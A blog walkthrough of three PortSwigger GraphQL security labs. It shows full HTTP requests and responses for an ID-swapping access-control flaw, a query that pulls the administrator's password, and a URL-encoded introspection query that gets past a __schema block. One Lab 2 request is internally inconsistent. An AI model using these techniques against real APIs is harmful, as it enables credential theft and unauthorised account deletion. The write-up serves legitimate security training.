Hey Infosec mates,
In this blog, we embark on a journey about Hacking GraphQL. Whether you’re a curious enthusiast eager to explore the latest advancements in web technologies, this comprehensive guide will serve as your compass through the intricacies of GraphQL
- What is GraphQL?
GraphQL is an efficient approach to building and consuming APIs, it provides a flexible and intuitive way to query and retrieve data. Instead of relying on fixed endpoints like in REST APIs, developers can send a single GraphQL query to request specific data fields from the server. This reduces the number of API calls needed and allows developers to fetch all the required data in a single request, improving performance.
It has a vibrant ecosystem with a wide range of tools, libraries, and frameworks available for various programming languages. These tools simplify the implementation and integration of GraphQL in different environments, making it accessible and convenient for developers to adopt. GraphQL also supports real-time data updates through its subscription mechanism.
Developers can establish a subscription to receive real-time updates whenever certain data changes on the server. This is particularly useful for building real-time applications, chat systems, or collaborative platforms where immediate data updates are crucial.
Imagine you have a bunch of toys scattered around your room, and you want to organize them. Instead of picking up each toy one by one and telling someone where it belongs, you can create a list of all the toys and describe what they are. This list is like GraphQL.
In GraphQL, you create something called a schema. It’s like a map that tells the computer what kinds of information it can ask for and how it should respond. The schema defines different types of information, like toys, and what each toy has, such as its name, color, and size.
When a computer wants to get information about a specific toy, it can send a GraphQL query. It’s like asking a question. For example, it can say, “Hey computer, I want to know the name and color of the toy with ID number 123.” The computer then reads the query and responds with the requested information.
GraphQL is helpful because it allows computers to get exactly what they need. It’s like giving someone a shopping list with specific items instead of telling them to bring everything from a store. This makes things faster and more efficient because computers only get the data they want, instead of getting a lot of unnecessary information.
One of my Favorite tweets about GraphQL:
For More, Research: GraphQL
I’m excited to explore the Portswigger Lab’s GraphQL API vulnerabilities. Whether you are a beginner or an experienced cybersecurity enthusiast, this walkthrough will equip you with the knowledge necessary to identify and mitigate GraphQL API vulnerabilities
Lab 1 → Accessing private GraphQL posts
Challenge description: The blog page for this lab contains a hidden blog post that has a secret password. To solve the lab, find the hidden blog post and enter the password
If you’re Pen-Testing GraphQL, “InQL — Introspection GraphQL Scanner” is the best extension which must be installed on your BurpSuite.
How to Hack:
While accessing the lab, we can see some blog post in it.
The challenge is to find hidden blog post and enter the password.
There’re total 4 Posts visible to us. Their ID values are: 1,5,2,4
- post?postId=1
- post?postId=5
- post?postId=2
- post?postId=4
Simple Guess: The ID value 3 is not listed. While visiting the URL, which will returns: “Not Found”
But in HTTP History, you can see the end point sending GraphQL Queries:
POST /graphql/v1 HTTP/1.1
Host: 0a2d00c10434c98c8381b58d00fa0041.web-security-academy.net
Cookie: session=7h3h4ckv157
Content-Length: 249
Sec-Ch-Ua:
Accept: application/json
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: 7h3h4ckv157
Sec-Ch-Ua-Platform: ""
Origin: https://0a2d00c10434c98c8381b58d00fa0041.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a2d00c10434c98c8381b58d00fa0041.web-security-academy.net/post?postId=5
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close{"query":"\n query getBlogPost($id: Int!) {\n getBlogPost(id: $id) {\n image\n title\n author\n date\n paragraphs\n }\n }","operationName":"getBlogPost","variables":{"id":5}}
The Notable thing is the Server returns the blog associated with the specific ID we provided as our input. By changing the value to 3 from repeater, we can see the hidden blog without any barrier.
”operationName”:”getBlogPost”,”variables”:{“id”:3}}
Our next task is to find the password. For this we can send the request to InQL Scanner. We can figure out some juicy information:
query {
getBlogPost(id:1334) {
date
summary
image
author
isPrivate
title
paragraphs
id
postPassword
}
}
The “postPassword” is only needed in our request to retrieve the password
Lab 2 → Accidental exposure of private GraphQL fields
Challenge description: The user management functions for this lab are powered by a GraphQL endpoint. The lab contains an Access control vulnerability whereby you can induce the API to reveal user credential fields. To solve the lab, sign in as the administrator and delete the username “carlos”
How to Hack:
The 1st thing I noticed was Login Form, I simply Logged in with the default credentials: wiener & peter
This challenge was pretty easy, & direct. While the target scanned using InQL Scanner, the getUser.query was itself juicy
query {
getUser(id:1334) {
password
id
username
}
}
By simply sending the same into the repeater tab & change the id to 1, we’ll get Admin details. I was about to analyze the results, but at the initial try itself, I got the details that needed
Request:
POST /https://xxxx.web-security-academy.net:443/graphql/v1?query=%0A%20%20%20%20mutation%20changeEmail(%24input%3A%20ChangeEmailInput!)%20%7B%0A%20%20%20%20%20%20%20%20changeEmail(input%3A%20%24input)%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20email%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A&variables=%7B%22input%22%3A%20%7B%22email%22%3A%20%22me%40me%22%7D%7D HTTP/1.1
Accept-Encoding: gzip, deflate
Connection: close
User-Agent: 7h3h4ckv157
Host: localhost:5612
Content-Length: 77
Content-Type: application/json{"query": "query {\n\tgetUser(id:1) {\n\t\tid\n\t\tusername\n\tpassword}\n}"}
Result:
HTTP/1.0 200 OK
Server: BaseHTTP/0.3 Python/2.7.3
Date: Sat, 05 Aug 2023 11:28:23 GMT
Access-Control-Allow-Origin: http://localhost
Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS
Access-Control-Allow-Headers: Content-Type
Content-Type: application/json{
"data": {
"getUser": {
"id": 1,
"username": "administrator",
"password": "...here......."
}
}
}
Pretty easy, right??
Just Login as Administrator using the returned credentials & delete the user carlos.
Lab 3 → Finding a hidden GraphQL endpoint
Challenge description: The user management functions for this lab are powered by a hidden GraphQL endpoint. You won’t be able to find this endpoint by simply clicking pages in the site. The endpoint also has some defenses against introspection. To solve the lab, find the hidden endpoint and delete “carlos”
How to Hack:
I created a common word-list for finding the endpoint and start fuzzing
In normal case it’ll returns 404
HTTP/1.1 404 Not Found
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 11“Not Found”
But for url/api: It’s like ⬇️
Request:
GET /api HTTP/1.1
Host: xxxxxxxx.web-security-academy.net
Cookie: any
User-Agent: 7h3h4ckv157
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Gpc: 1
Te: trailers
Connection: close
Response:
HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 19"Query not present"
The message “Query not present” triggered my mind, so my next request was like:
GET /api?query={__schema{}} HTTP/1.1
Host: xxxxxxxxx.web-security-academy.net
Cookie: session=any
User-Agent: 7h3h4ckv157
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Gpc: 1
Te: trailers
Connection: close
But, unfortunately:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 156{
"errors": [
{
"locations": [],
"message": "GraphQL introspection is not allowed, but the query contained __schema or __type"
}
]
}
”message”: “GraphQL introspection is not allowed, but the query contained __schema or __type”
GraphQL introspection on your target (if enabled):
{"query": "query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}"}
I learned the same from: YesWeHack’s-Blog
So, I just tried to bypass the defense by using many tactics but didn’t work! Later I convert the query to URL encoding & the payload works!
++%20query+IntrospectionQuery%7B+++++++__schema%0a+%7B%0D%0A++++++queryType%7Bname%7DmutationType%7Bname%7DsubscriptionType%7Bname%7Dtypes%7B...FullType%7Ddirectives%7Bname%20description%20locations%20args%7B...InputValue%7D%7D%7D%7Dfragment%20FullType%20on%20__Type%7Bkind%20name%20description%20fields%28includeDeprecated%3Atrue%29%7Bname%20description%20args%7B...InputValue%7Dtype%7B...TypeRef%7DisDeprecated%20deprecationReason%7DinputFields%7B...InputValue%7Dinterfaces%7B...TypeRef%7DenumValues%28includeDeprecated%3Atrue%29%7Bname%20description%20isDeprecated%20deprecationReason%7DpossibleTypes%7B...TypeRef%7D%7Dfragment%20InputValue%20on%20__InputValue%7Bname%20description%20type%7B...TypeRef%7DdefaultValue%7Dfragment%20TypeRef%20on%20__Type+++%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%7D%7D%7D%7D%7D%7D%7D%7D
GET /api?query=++%20query+IntrospectionQuery%7B+++++++__schema%0a+%7B%0D%0A++++++queryType%7Bname%7DmutationType%7Bname%7DsubscriptionType%7Bname%7Dtypes%7B...FullType%7Ddirectives%7Bname%20description%20locations%20args%7B...InputValue%7D%7D%7D%7Dfragment%20FullType%20on%20__Type%7Bkind%20name%20description%20fields%28includeDeprecated%3Atrue%29%7Bname%20description%20args%7B...InputValue%7Dtype%7B...TypeRef%7DisDeprecated%20deprecationReason%7DinputFields%7B...InputValue%7Dinterfaces%7B...TypeRef%7DenumValues%28includeDeprecated%3Atrue%29%7Bname%20description%20isDeprecated%20deprecationReason%7DpossibleTypes%7B...TypeRef%7D%7Dfragment%20InputValue%20on%20__InputValue%7Bname%20description%20type%7B...TypeRef%7DdefaultValue%7Dfragment%20TypeRef%20on%20__Type+++%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%20ofType%7Bkind%20name%7D%7D%7D%7D%7D%7D%7D%7D HTTP/1.1
Host: 0a0c00ef04891bbf82e1bce100a000f3.web-security-academy.net
Cookie: session=Rg9Tr9T2Dva65OwUKOavMPfUDfCIQkas
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Dnt: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Sec-Gpc: 1
Te: trailers
Connection: close
Response:
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 36824{
"data": {
"__schema": {
"queryType": {
"name": "query"
},
"mutationType": {
"name": "mutation"
},
"subscriptionType": null,
"types": [
{
"kind": "SCALAR",
"name": "Boolean",
"description": "Built-in Boolean",
"fields": null,
"inputFields": null,
"interfaces": null,
"enumValues": null,
"possibleTypes": null
},
{
"kind": "INPUT_OBJECT",
"name": "DeleteOrganizationUserInput",
"description": null,
"fields": null,
"inputFields": [
{
"name": "id",
"description": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
"defaultValue": null
}
],
"interfaces": null,
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "DeleteOrganizationUserResponse",
"description": null,
"fields": [
{
"name": "user",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "User",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "SCALAR",
"name": "Int",
"description": "Built-in Int",
"fields": null,
"inputFields": null,
"interfaces": null,
"enumValues": null,
"possibleTypes": null
},
{
"kind": "SCALAR",
"name": "String",
"description": "Built-in String",
"fields": null,
"inputFields": null,
"interfaces": null,
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "User",
"description": null,
"fields": [
{
"name": "id",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "username",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "__Directive",
"description": null,
"fields": [
{
"name": "name",
"description": "The __Directive type represents a Directive that a server supports.",
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "description",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "isRepeatable",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "locations",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "ENUM",
"name": "__DirectiveLocation",
"ofType": null
}
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "args",
"description": null,
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
},
"defaultValue": "false"
}
],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__InputValue",
"ofType": null
}
}
}
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "ENUM",
"name": "__DirectiveLocation",
"description": "An enum describing valid locations where a directive can be placed",
"fields": null,
"inputFields": null,
"interfaces": null,
"enumValues": [
{
"name": "QUERY",
"description": "Indicates the directive is valid on queries.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "MUTATION",
"description": "Indicates the directive is valid on mutations.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "SUBSCRIPTION",
"description": "Indicates the directive is valid on subscriptions.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "FIELD",
"description": "Indicates the directive is valid on fields.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "FRAGMENT_DEFINITION",
"description": "Indicates the directive is valid on fragment definitions.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "FRAGMENT_SPREAD",
"description": "Indicates the directive is valid on fragment spreads.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "INLINE_FRAGMENT",
"description": "Indicates the directive is valid on inline fragments.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "VARIABLE_DEFINITION",
"description": "Indicates the directive is valid on variable definitions.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "SCHEMA",
"description": "Indicates the directive is valid on a schema SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "SCALAR",
"description": "Indicates the directive is valid on a scalar SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "OBJECT",
"description": "Indicates the directive is valid on an object SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "FIELD_DEFINITION",
"description": "Indicates the directive is valid on a field SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "ARGUMENT_DEFINITION",
"description": "Indicates the directive is valid on a field argument SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "INTERFACE",
"description": "Indicates the directive is valid on an interface SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "UNION",
"description": "Indicates the directive is valid on an union SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "ENUM",
"description": "Indicates the directive is valid on an enum SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "ENUM_VALUE",
"description": "Indicates the directive is valid on an enum value SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "INPUT_OBJECT",
"description": "Indicates the directive is valid on an input object SDL definition.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "INPUT_FIELD_DEFINITION",
"description": "Indicates the directive is valid on an input object field SDL definition.",
"isDeprecated": false,
"deprecationReason": null
}
],
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "__EnumValue",
"description": null,
"fields": [
{
"name": "name",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "description",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "isDeprecated",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "deprecationReason",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "__Field",
"description": null,
"fields": [
{
"name": "name",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "description",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "args",
"description": null,
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
},
"defaultValue": "false"
}
],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__InputValue",
"ofType": null
}
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "type",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "isDeprecated",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "deprecationReason",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "__InputValue",
"description": null,
"fields": [
{
"name": "name",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "description",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "type",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "defaultValue",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "isDeprecated",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "deprecationReason",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "__Schema",
"description": "A GraphQL Introspection defines the capabilities of a GraphQL server. It exposes all available types and directives on the server, the entry points for query, mutation, and subscription operations.",
"fields": [
{
"name": "description",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "types",
"description": "A list of all types supported by this server.",
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
}
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "queryType",
"description": "The type that query operations will be rooted at.",
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "mutationType",
"description": "If this server supports mutation, the type that mutation operations will be rooted at.",
"args": [],
"type": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "directives",
"description": "'A list of all directives supported by this server.",
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Directive",
"ofType": null
}
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "subscriptionType",
"description": "'If this server support subscription, the type that subscription operations will be rooted at.",
"args": [],
"type": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "__Type",
"description": null,
"fields": [
{
"name": "kind",
"description": null,
"args": [],
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "ENUM",
"name": "__TypeKind",
"ofType": null
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "name",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "description",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "fields",
"description": null,
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
},
"defaultValue": "false"
}
],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Field",
"ofType": null
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "interfaces",
"description": null,
"args": [],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "possibleTypes",
"description": null,
"args": [],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "enumValues",
"description": null,
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
},
"defaultValue": "false"
}
],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__EnumValue",
"ofType": null
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "inputFields",
"description": null,
"args": [
{
"name": "includeDeprecated",
"description": null,
"type": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
},
"defaultValue": "false"
}
],
"type": {
"kind": "LIST",
"name": null,
"ofType": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "OBJECT",
"name": "__InputValue",
"ofType": null
}
}
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "ofType",
"description": null,
"args": [],
"type": {
"kind": "OBJECT",
"name": "__Type",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "specifiedByURL",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "specifiedByUrl",
"description": null,
"args": [],
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"isDeprecated": true,
"deprecationReason": "This legacy name has been replaced by `specifiedByURL`"
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "ENUM",
"name": "__TypeKind",
"description": "An enum describing what kind of type a given __Type is",
"fields": null,
"inputFields": null,
"interfaces": null,
"enumValues": [
{
"name": "SCALAR",
"description": "Indicates this type is a scalar. 'specifiedByURL' is a valid field",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "OBJECT",
"description": "Indicates this type is an object. `fields` and `interfaces` are valid fields.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "INTERFACE",
"description": "Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "UNION",
"description": "Indicates this type is a union. `possibleTypes` is a valid field.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "ENUM",
"description": "Indicates this type is an enum. `enumValues` is a valid field.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "INPUT_OBJECT",
"description": "Indicates this type is an input object. `inputFields` is a valid field.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "LIST",
"description": "Indicates this type is a list. `ofType` is a valid field.",
"isDeprecated": false,
"deprecationReason": null
},
{
"name": "NON_NULL",
"description": "Indicates this type is a non-null. `ofType` is a valid field.",
"isDeprecated": false,
"deprecationReason": null
}
],
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "mutation",
"description": null,
"fields": [
{
"name": "deleteOrganizationUser",
"description": null,
"args": [
{
"name": "input",
"description": null,
"type": {
"kind": "INPUT_OBJECT",
"name": "DeleteOrganizationUserInput",
"ofType": null
},
"defaultValue": null
}
],
"type": {
"kind": "OBJECT",
"name": "DeleteOrganizationUserResponse",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
},
{
"kind": "OBJECT",
"name": "query",
"description": null,
"fields": [
{
"name": "getUser",
"description": null,
"args": [
{
"name": "id",
"description": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
"defaultValue": null
}
],
"type": {
"kind": "OBJECT",
"name": "User",
"ofType": null
},
"isDeprecated": false,
"deprecationReason": null
}
],
"inputFields": null,
"interfaces": [],
"enumValues": null,
"possibleTypes": null
}
],
"directives": [
{
"name": "include",
"description": "Directs the executor to include this field or fragment only when the `if` argument is true",
"locations": [
"FIELD",
"FRAGMENT_SPREAD",
"INLINE_FRAGMENT"
],
"args": [
{
"name": "if",
"description": "Included when true.",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
},
"defaultValue": null
}
]
},
{
"name": "skip",
"description": "Directs the executor to skip this field or fragment when the `if` argument is true.",
"locations": [
"FIELD",
"FRAGMENT_SPREAD",
"INLINE_FRAGMENT"
],
"args": [
{
"name": "if",
"description": "Skipped when true.",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Boolean",
"ofType": null
}
},
"defaultValue": null
}
]
},
{
"name": "deprecated",
"description": "Marks the field, argument, input field or enum value as deprecated",
"locations": [
"FIELD_DEFINITION",
"ARGUMENT_DEFINITION",
"ENUM_VALUE",
"INPUT_FIELD_DEFINITION"
],
"args": [
{
"name": "reason",
"description": "The reason for the deprecation",
"type": {
"kind": "SCALAR",
"name": "String",
"ofType": null
},
"defaultValue": "\"No longer supported\""
}
]
},
{
"name": "specifiedBy",
"description": "Exposes a URL that specifies the behaviour of this scalar.",
"locations": [
"SCALAR"
],
"args": [
{
"name": "url",
"description": "The URL that specifies the behaviour of this scalar.",
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "String",
"ofType": null
}
},
"defaultValue": null
}
]
}
]
}
}
}
From the response you can see this:
{
"kind": "INPUT_OBJECT",
"name": "DeleteOrganizationUserInput",
"description": null,
"fields": null,
"inputFields": [
{
"name": "id",
"description": null,
"type": {
"kind": "NON_NULL",
"name": null,
"ofType": {
"kind": "SCALAR",
"name": "Int",
"ofType": null
}
},
"defaultValue": null
}
